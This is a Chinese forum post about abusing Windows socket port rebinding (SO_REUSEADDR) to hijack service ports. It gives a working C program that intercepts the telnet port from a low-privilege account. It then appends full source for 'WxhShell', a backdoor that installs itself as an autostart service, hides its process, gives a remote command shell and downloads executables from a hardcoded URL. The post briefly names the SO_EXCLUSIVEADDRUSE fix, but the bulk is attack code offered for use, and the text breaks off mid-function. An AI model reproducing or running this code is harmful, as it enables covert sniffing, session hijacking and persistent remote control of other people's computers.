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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _RxnB?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O{\<Izm`D  
VBDb K|  
  saddr.sin_family = AF_INET; <D)@;A  
$^ ^M&[b-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ',WJ'g  
=FIZh}JD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HDzeotD  
@jMo/kO/A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -X7x~x-  
!A% vR\  
  这意味着什么?意味着可以进行如下的攻击: ,P`GIGvkA  
^b|? ?9&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +MaEet  
iM:-750n/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G:lhrT{  
piIz ff  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o~9*J)X5i  
i>CR{q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >!" Sr3,L  
Nv;'Ys P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :R:@V#Y  
tK{#kApHGG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8,vP']4r%  
fSVM[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UukY9n];]  
eX"Ecl{  
  #include z@\mn  
  #include pxedj  
  #include Ph.RWy")  
  #include    S[/udA   
  DWORD WINAPI ClientThread(LPVOID lpParam);   %'e$N9zd  
  int main() 2|RoN)%  
  { F^!O\8PFd  
  WORD wVersionRequested; Zj ` ;IYFG  
  DWORD ret; f B]2"(  
  WSADATA wsaData; <_eEpG}9  
  BOOL val; LCA+y1LP-_  
  SOCKADDR_IN saddr; Ev [?5R  
  SOCKADDR_IN scaddr;  (yd(ZY  
  int err; @zi0:3`#0\  
  SOCKET s; %_p]6doF  
  SOCKET sc; !J<0.nO/:  
  int caddsize; eS ?9}TG|  
  HANDLE mt; upk_;ae  
  DWORD tid;   z~p!7q&g  
  wVersionRequested = MAKEWORD( 2, 2 ); 40].:9VG  
  err = WSAStartup( wVersionRequested, &wsaData ); udr|6EjD.  
  if ( err != 0 ) { s/11 TgJ  
  printf("error!WSAStartup failed!\n"); ,d_rK\J  
  return -1; N!dBF t"  
  } $qZ6i  
  saddr.sin_family = AF_INET; 9yTkZ`M28  
   =1|p$@L`%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 55<!H-zt  
f8r7 SFwUv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +/mCYI  
  saddr.sin_port = htons(23); f!5w+6(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @RuMo"js  
  { AOcUr)  
  printf("error!socket failed!\n"); >< S2o%u~  
  return -1; 5pY|RV6:  
  }  DQV9=  
  val = TRUE; 2Y[n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y*#TfWv:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hmuhq:<f  
  { 8JR&s  
  printf("error!setsockopt failed!\n"); "ixea- 2  
  return -1; jHatUez4O  
  } v<l]K$5J&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AFYdBK]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a#CjGj)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ow5 VBw(  
?g@X+!RB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =<aFkBX-  
  { u =~`5vA  
  ret=GetLastError(); !e |Bi{  
  printf("error!bind failed!\n"); e F}KOOfC  
  return -1; ;Q/1l=Bn  
  } UM21Cfqex  
  listen(s,2); kqo4 v;r  
  while(1) :2vuc!Pu  
  { i7YUyU  
  caddsize = sizeof(scaddr); OR|Jc+LT  
  //接受连接请求 b~)2`l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -T+'3</T  
  if(sc!=INVALID_SOCKET) a7u*d`3X=  
  { a[}?!G-Wt|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +`B^D  
  if(mt==NULL) En&gI`3n  
  {  eBmHb\  
  printf("Thread Creat Failed!\n"); xc`O \z_)  
  break; M80O;0N%A  
  } T4ugG?B*  
  } c3PA<q[  
  CloseHandle(mt); <)sL8G9Y  
  } eIlovq/X  
  closesocket(s); LZs'hA<L  
  WSACleanup(); B^R44j]3"  
  return 0; , v=pp;  
  }   QpoC-4F  
  DWORD WINAPI ClientThread(LPVOID lpParam) ('dbMH\O  
  { Tl]yl$  
  SOCKET ss = (SOCKET)lpParam; ,->5 sJ{U  
  SOCKET sc; #NL'r99D/o  
  unsigned char buf[4096]; 3tkCmB  
  SOCKADDR_IN saddr; 7,alZ"%W  
  long num; [fvjvN`  
  DWORD val; #(+V&< K  
  DWORD ret; -*J!Ws(9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e?O$`lf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P39oHW  
  saddr.sin_family = AF_INET; "<)Jso|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o^owv(  
  saddr.sin_port = htons(23); m&(qr5>b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v|]"uPxH?  
  { Clap3E|a  
  printf("error!socket failed!\n"); >+!Ef  
  return -1; EaL>~: j  
  } TpYh)=;k  
  val = 100; Pl`Nniy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UL%a^' hR  
  { q68m*1?y  
  ret = GetLastError(); 7<B-2g  
  return -1; d:_;  
  } AqaMi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~>~qA0m"m  
  { U+E9l?4R  
  ret = GetLastError(); ^%LyT!y  
  return -1; 4)'U!jSb  
  } itc\wn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %S$$*|_G  
  { pNmWBp|ER  
  printf("error!socket connect failed!\n"); Y Ztd IG  
  closesocket(sc); M&Ln'BC  
  closesocket(ss); @^g~F&Ta  
  return -1; HRu;*3+%>F  
  } D$NpyF.87  
  while(1) ;, \!&o6  
  { `(I$_RSE")  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =1 S%E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wa&!1' @  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 88?O4)c  
  num = recv(ss,buf,4096,0); &rX#A@=  
  if(num>0) C[#C/@  
  send(sc,buf,num,0); [9MbNJt 8~  
  else if(num==0) 3Z#WAhfS:  
  break; ^7=7V0>,:  
  num = recv(sc,buf,4096,0); E2>+V{TF  
  if(num>0) \.Op6ECV9  
  send(ss,buf,num,0); :IfwhI)  
  else if(num==0) x5/&,&m`%  
  break; 0O*kC43E_  
  } "Y- WY,H  
  closesocket(ss); qn |~YXn  
  closesocket(sc); 2\T\p<_20  
  return 0 ; `QW=<Le?  
  } *BF[thB:a  
L*vKIP<EMM  
)Z['=+s%  
========================================================== _G25$%/LU  
Un T\6u  
下边附上一个代码,,WXhSHELL HXZ,"S  
O.xtY @'"  
========================================================== /Bh*MH  
Q[|*P ] w  
#include "stdafx.h" H3ovF  
;G3?Sa7+  
#include <stdio.h> T5.^ w  
#include <string.h> m&'!^{av  
#include <windows.h> ,j.bdlI#  
#include <winsock2.h> jcBZ#|B7;  
#include <winsvc.h> 3hUP>F8  
#include <urlmon.h> JAXD\StC  
DGS,iRLnA  
#pragma comment (lib, "Ws2_32.lib") AS;qJ)JfzQ  
#pragma comment (lib, "urlmon.lib") ?N!kYTR%}  
;_E|I=%'E  
#define MAX_USER   100 // 最大客户端连接数 8VO]; +N  
#define BUF_SOCK   200 // sock buffer P*VZ$bUe5@  
#define KEY_BUFF   255 // 输入 buffer G|8>Q3D  
QgQ$>  
#define REBOOT     0   // 重启 YgS,5::SU  
#define SHUTDOWN   1   // 关机 RU~ku{8?  
=_ b/ g  
#define DEF_PORT   5000 // 监听端口 ;/JXn  
0'YP9-C3  
#define REG_LEN     16   // 注册表键长度 mo(>SnS<  
#define SVC_LEN     80   // NT服务名长度 K' <[kh:cl  
_5x]BH6f  
// 从dll定义API 3T4HX|rC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n&?)gKL0g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dh?I   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M'|p<SO]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4i^WE;|s  
\4C[<Gbx$(  
// wxhshell配置信息 u |.7w 2  
struct WSCFG { R:R<Xt N`5  
  int ws_port;         // 监听端口 CgYX^h?Y9  
  char ws_passstr[REG_LEN]; // 口令 |d*a~T0  
  int ws_autoins;       // 安装标记, 1=yes 0=no lmD [Cn  
  char ws_regname[REG_LEN]; // 注册表键名 i*@PywT"i3  
  char ws_svcname[REG_LEN]; // 服务名 woBx609Aak  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {P_7AM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fkq^2o ]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;z N1Qb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +{I" e,Nk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zR]!g|;f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aW{5m@p{"  
< *;GJ{  
}; P?P.QK  
%b4tyX:N0  
// default Wxhshell configuration a'dlA da  
struct WSCFG wscfg={DEF_PORT, a_?b <  
    "xuhuanlingzhe", 8"ZS|^#  
    1, .5}Gt>4XM  
    "Wxhshell", z0SF2L H  
    "Wxhshell", |g!d[ct]  
            "WxhShell Service", N2duhI6  
    "Wrsky Windows CmdShell Service", u#Jr_ze  
    "Please Input Your Password: ", 32%Fdz1S  
  1, ,c{ckm  
  "http://www.wrsky.com/wxhshell.exe", TO"Md["GI  
  "Wxhshell.exe" 83gWA>Odh  
    }; eNVuw:Q+  
+`g&hO\W  
// 消息定义模块 TB+k[UxB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U"+W)rUd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G :k'm^k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1# z@D(  
char *msg_ws_ext="\n\rExit."; @|Yn~PwKs  
char *msg_ws_end="\n\rQuit."; $j<KXR  
char *msg_ws_boot="\n\rReboot..."; voN~f>  
char *msg_ws_poff="\n\rShutdown..."; UXJblo#  
char *msg_ws_down="\n\rSave to "; [wnp]'+!  
b:p0@|y  
char *msg_ws_err="\n\rErr!"; 0`-b57lF&  
char *msg_ws_ok="\n\rOK!"; 5Pn.c!  
%DXBl:!Y`  
char ExeFile[MAX_PATH]; K%x]:|,>M  
int nUser = 0; IM/xBP  
HANDLE handles[MAX_USER]; J@6j^U  
int OsIsNt; -C3[:g  
6l;2kztGp  
SERVICE_STATUS       serviceStatus; )`R}@(r.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %!(C?k!\  
Y68A+ B.  
// 函数声明 gD4vV'|  
int Install(void); dpylJ2  
int Uninstall(void); 3Ke6lV)uq  
int DownloadFile(char *sURL, SOCKET wsh); uW=G1 *n-  
int Boot(int flag); O#=%t  
void HideProc(void); -eyF9++`  
int GetOsVer(void); L+<h 5>6  
int Wxhshell(SOCKET wsl); `?3f76}h  
void TalkWithClient(void *cs); ThI}~$Y  
int CmdShell(SOCKET sock); X~D[CwA|`  
int StartFromService(void); 8(L2w|+B<  
int StartWxhshell(LPSTR lpCmdLine); NjOUe?BQ  
M\{\WyeX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2bG3&G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -bHlFNRm  
/(51\RYkir  
// 数据结构和表定义 %N fpEo  
SERVICE_TABLE_ENTRY DispatchTable[] = /:(A9b-B  
{ .'<K$:8@|  
{wscfg.ws_svcname, NTServiceMain}, xUsL{24  
{NULL, NULL} % ym};7'&b  
}; *K;) ~@n  
:=ek~s.UV  
// 自我安装 -mG`* 0  
int Install(void) p$'S\W|  
{ XC^*z[#4{  
  char svExeFile[MAX_PATH]; rVoV@,P  
  HKEY key; T>rmm7F  
  strcpy(svExeFile,ExeFile); L-D4>+  
ob;|%_  
// 如果是win9x系统,修改注册表设为自启动 2[qfF6FHA  
if(!OsIsNt) { vB_3lAJt@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UgS`{&b36  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x"NQatdq  
  RegCloseKey(key); Ue >]uZ|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DR}I+<*%aD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Tor9Tj  
  RegCloseKey(key); 4Zwbu  
  return 0; ?<C(ga  
    } uMZ~[S z  
  } <%S)6cw(3  
} $KGMAg/H  
else { v>B412l  
|yeQz  
// 如果是NT以上系统,安装为系统服务 V@k+RniEO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); . c+m(Pk  
if (schSCManager!=0) 0ck3II  
{ }" vxYB!h3  
  SC_HANDLE schService = CreateService Qa )+Tv  
  ( ge GhM>G  
  schSCManager, [=q/f2_1.  
  wscfg.ws_svcname, eQu(3sYb  
  wscfg.ws_svcdisp, NF6xKwRU]_  
  SERVICE_ALL_ACCESS, {Fw"y %a^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rq5'=L  
  SERVICE_AUTO_START, '!7>*<  
  SERVICE_ERROR_NORMAL, '%[ Y  
  svExeFile, >aO.a[AM  
  NULL,  c2M  
  NULL, tSJ#  
  NULL, yT@Aj;X0v  
  NULL, a- rR`  
  NULL @`4T6eL5  
  ); Mp|Jt  
  if (schService!=0) 6Qt(Yu*s  
  { [_(J8~ va  
  CloseServiceHandle(schService); 06f%{mAZS  
  CloseServiceHandle(schSCManager); nJN-U+)u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M x#L|w`r  
  strcat(svExeFile,wscfg.ws_svcname); K!&W}_@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z0<E3t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $e7%>*?m  
  RegCloseKey(key); BKg8p]`+  
  return 0; {k_\1t(/  
    } ^rVHaI  
  } U`qC.s(L  
  CloseServiceHandle(schSCManager); c.IUqin  
} M8X6!"B$Y  
} {f #QZS!E  
rAu% bF  
return 1; G^k'sgy.  
} 5+M,X kg  
s;OGb{H7  
// 自我卸载 L?d?O  
int Uninstall(void) rz%~=Ca2j  
{ 3LLG#l )8  
  HKEY key; ?Te#lp;`~  
8Re[]bE  
if(!OsIsNt) { IRm}?hHf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <@;}q^`  
  RegDeleteValue(key,wscfg.ws_regname); H%vfRl3rB  
  RegCloseKey(key); >S7t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?pW1}: z  
  RegDeleteValue(key,wscfg.ws_regname); ; um)JCXz  
  RegCloseKey(key);  O>]i?  
  return 0; {fACfSW6  
  } 9m)$^U>oz  
} Hp=BnN  
} qhxMO[f  
else { @^UgdD,BS,  
mcd{:/^?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }S u j=oFp  
if (schSCManager!=0) MrHJ)x"hy  
{ Pl:4`oY3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %@Gy<t,  
  if (schService!=0) \s*UUODWK  
  { LVB wWlJ  
  if(DeleteService(schService)!=0) { Hh^ "c}  
  CloseServiceHandle(schService); '/u|32  
  CloseServiceHandle(schSCManager); #MA6eE'R  
  return 0; (`dz3 7@*  
  } BrE#.g Jq  
  CloseServiceHandle(schService); paIjXaU1Mb  
  } @@o J@;  
  CloseServiceHandle(schSCManager); GB|>eZLv<  
} > k\pSV[  
} @\y{q;  
O] PM L`  
return 1; _,L_H[FN  
} Q&]|W Xv  
w/*G!o- <  
// 从指定url下载文件 toPbFU'  
int DownloadFile(char *sURL, SOCKET wsh) #s~;ss ,  
{ #]jl{K\f#X  
  HRESULT hr; $\NqD:fgb  
char seps[]= "/"; e' l9  
char *token; ruGJZAhIA^  
char *file; yk8b>.Y\A  
char myURL[MAX_PATH]; x8@ 4lxj  
char myFILE[MAX_PATH]; + kKanm[!v  
n\((#<&  
strcpy(myURL,sURL); <(jk}wa<  
  token=strtok(myURL,seps); 00 x -  
  while(token!=NULL) Q^f{H.  
  { 4}m9,  
    file=token; $~b6H]"9  
  token=strtok(NULL,seps); >;MJm  
  } 6U !P8q  
l%EvXdZuOy  
GetCurrentDirectory(MAX_PATH,myFILE); DSwb8q  
strcat(myFILE, "\\"); X=whZ\EZ  
strcat(myFILE, file); fG'~@'P~  
  send(wsh,myFILE,strlen(myFILE),0); ^ 0YQlT98  
send(wsh,"...",3,0); >*{k~Y-G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VBL4cU8D  
  if(hr==S_OK) } e$  
return 0; h_(M#gG  
else Wz' !stcp  
return 1; J~5V7B  
S9l,P-X`  
} zE/l  
wvq4 P  
// 系统电源模块 +XsE  
int Boot(int flag) _ACN  
{ 1jd{AqHl  
  HANDLE hToken; VH]}{i"`  
  TOKEN_PRIVILEGES tkp; q|<B9Jk  
} 8 z:L<  
  if(OsIsNt) { 'w=|uE {^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %N-aLw\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &qS%~h%2  
    tkp.PrivilegeCount = 1; FJZ'P;3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w U+r]SK@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T>asH  
if(flag==REBOOT) { :u,.(INB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  c`xNTr01  
  return 0; g}0K@z3  
} U&#` <R_0  
else { VP A+/5TW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #sc!H4  
  return 0; !*:g??[T  
} c7r( &h  
  } a5#G48'X  
  else { !-OZ/^l|O`  
if(flag==REBOOT) { INr1bAe$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) teS>t!d  
  return 0; "/6#Z>y  
} ym{@w3"S  
else { 5Qq/nUR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <u\Hy0g  
  return 0; b 5|*p(7[  
} #1haq[Uv7  
} ,A{Bx`o?  
DKt98;  
return 1; C<J*C0vQO  
} our ^J8  
yDqwz[v b  
// win9x进程隐藏模块 X0 |U?Ib?  
void HideProc(void) /#Pm'i>B  
{ u9@B&  
{*O%A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0FcDO5ia  
  if ( hKernel != NULL ) -]0:FKW  
  { CBd%}il  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bBs{PI2(p1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <CVX[R]U  
    FreeLibrary(hKernel); U*a#{C7"  
  } {%3WHGr%L  
"yw{A%J  
return; Jai]z  
} e=(Y,e3  
{'4#{zmp  
// 获取操作系统版本 "]=OR>  
int GetOsVer(void) uNn1qV  
{ 4JK6<Pk  
  OSVERSIONINFO winfo; nCi ]6;Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W5Z-s.o  
  GetVersionEx(&winfo); :<P4=P P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GPHb-  
  return 1; fsjLD|?|:  
  else i[KXkjr  
  return 0; 9wR D=a  
} z|3v~,  
@]n8*n  
// 客户端句柄模块 S} UYkns*  
int Wxhshell(SOCKET wsl) 1!^BcrG.  
{ ~}b0zL  
  SOCKET wsh; n3$=&   
  struct sockaddr_in client; c(=>5  
  DWORD myID; &$|~",  
>;Hx<FKxP  
  while(nUser<MAX_USER) :-d#kU  
{ T@ESMPeU:X  
  int nSize=sizeof(client); I+ |uyc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  d\ #yWY  
  if(wsh==INVALID_SOCKET) return 1; AVjRhe   
f0 g/`j@Up  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n@+?tYk*e  
if(handles[nUser]==0) W\Pd:t  
  closesocket(wsh); bji#ID2]%  
else {oY"CZ2  
  nUser++; >Y4^<!\v  
  } YA@?L!F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PJZ;wqTD_  
!f(A9V  
  return 0; tkV[^OeU>  
} }'Ap@4  
aiX&`   
// 关闭 socket Y[L,rc/j  
void CloseIt(SOCKET wsh) 0E#??gN  
{ dE8f?L'  
closesocket(wsh); --y,ky#  
nUser--; g"n>v c7  
ExitThread(0); #tZ!D^GQHq  
} B)7:*Kj  
8US35t:M  
// 客户端请求句柄 fZf>>mu@r'  
void TalkWithClient(void *cs) :a Cf@:']  
{ 8#$HKWUK  
s@~3L  
  SOCKET wsh=(SOCKET)cs; MX~h>v3_R4  
  char pwd[SVC_LEN]; i +@avoW  
  char cmd[KEY_BUFF]; }2LG9B%  
char chr[1]; HAE$Np|>a  
int i,j; ^kK")+K  
I*U7YqDC9  
  while (nUser < MAX_USER) { \68bXY.  
br88b`L  
if(wscfg.ws_passstr) { r^.9 |YM5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2 Ax(q&`9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #vK99 S2  
  //ZeroMemory(pwd,KEY_BUFF); "T /$K  
      i=0; }6LcimQyK  
  while(i<SVC_LEN) { t_I-6`8o]  
n.N0Nhd  
  // 设置超时 W!el[@  
  fd_set FdRead; b/.EA' /  
  struct timeval TimeOut; 9r\p4_V  
  FD_ZERO(&FdRead); 6@0? ~  
  FD_SET(wsh,&FdRead); )5`^@zx  
  TimeOut.tv_sec=8; -GL.8" c[  
  TimeOut.tv_usec=0; /FXb,)1t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 68~]_r.a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M Ir[_  
}:?_/$};  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .gNJY7`b  
  pwd=chr[0]; 4%v-)HGh  
  if(chr[0]==0xd || chr[0]==0xa) { $!'Vn)Z7  
  pwd=0; (Ms #)E  
  break; g>ke;SH%KY  
  } \o,et9zDJ3  
  i++; fCb&$oRr!  
    } y\6C9%.  
N}z]OvnZH  
  // 如果是非法用户,关闭 socket FzsW^u+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A{{rNbCK  
} OpOR!  
z2.OR,R}]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jxw8jo06:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *bcemH8f  
v~^*L iP+  
while(1) { i[vN3`*B  
?6[u\V  
  ZeroMemory(cmd,KEY_BUFF); FGMYpapc~  
]nS9taEA   
      // 自动支持客户端 telnet标准   mk-L3H1@J3  
  j=0; g{?{N  
  while(j<KEY_BUFF) { d m83YCdL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %[?{H} y  
  cmd[j]=chr[0]; "8[Vb#=*e  
  if(chr[0]==0xa || chr[0]==0xd) { rj eKG-Z@  
  cmd[j]=0; _rUsb4r  
  break; Gnqun%  
  } XKBQH(  
  j++; dBL{Mbh2Z  
    } 5)K?:7  
_l]rt  
  // 下载文件 lgCOp%>  
  if(strstr(cmd,"http://")) { 1B`0.M'd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4mWT"T-8  
  if(DownloadFile(cmd,wsh)) BjUz"69  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~o/e0  
  else 0K^G>)l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Bfy   
  } HuL9' M  
  else { '"Dgov$q  
8:UV;5@  
    switch(cmd[0]) { ^p7Er!  
  -}<W|r  
  // 帮助 !eB&3J  
  case '?': { [hXU$Y>"0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N|WR^MQD  
    break; %xI,A'#  
  } wkZ}o,{*:  
  // 安装 R<-(  
  case 'i': { WAbt8{$D  
    if(Install()) :~]ha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ur`:wR] 2?  
    else w6l8RNRe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q2/ZO2  
    break; > jvi7  
    } \lpR+zaF  
  // 卸载 l< RztzUw  
  case 'r': { $nbZ+~49  
    if(Uninstall()) My!<_Hp-W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lGr(GHn  
    else [Y]\sF;J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JB= L\E}  
    break; 5*pCb,z>q  
    } _/5mgn<GK  
  // 显示 wxhshell 所在路径  OL|UOG  
  case 'p': { _(s|@UT#  
    char svExeFile[MAX_PATH]; pTlNJ!U>  
    strcpy(svExeFile,"\n\r"); J0M7f]  
      strcat(svExeFile,ExeFile); n-n{+ Dl!  
        send(wsh,svExeFile,strlen(svExeFile),0); @9^ozgg  
    break; dRXF5Ox5K}  
    } >;.'$-  
  // 重启 e 03q9(  
  case 'b': { Q}M% \v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,9W|$2=F  
    if(Boot(REBOOT)) .W<yiB}^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZVj/lOP X  
    else { q8{) 27f,  
    closesocket(wsh); N%\!eHxy  
    ExitThread(0); L}1|R*b  
    } ~P85Or  
    break; W7lR 54%|  
    } gSP]& _9j  
  // 关机 Z!P7mH\c}  
  case 'd': { I|*w?i*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .>0j<|~  
    if(Boot(SHUTDOWN)) ShdE!q7  
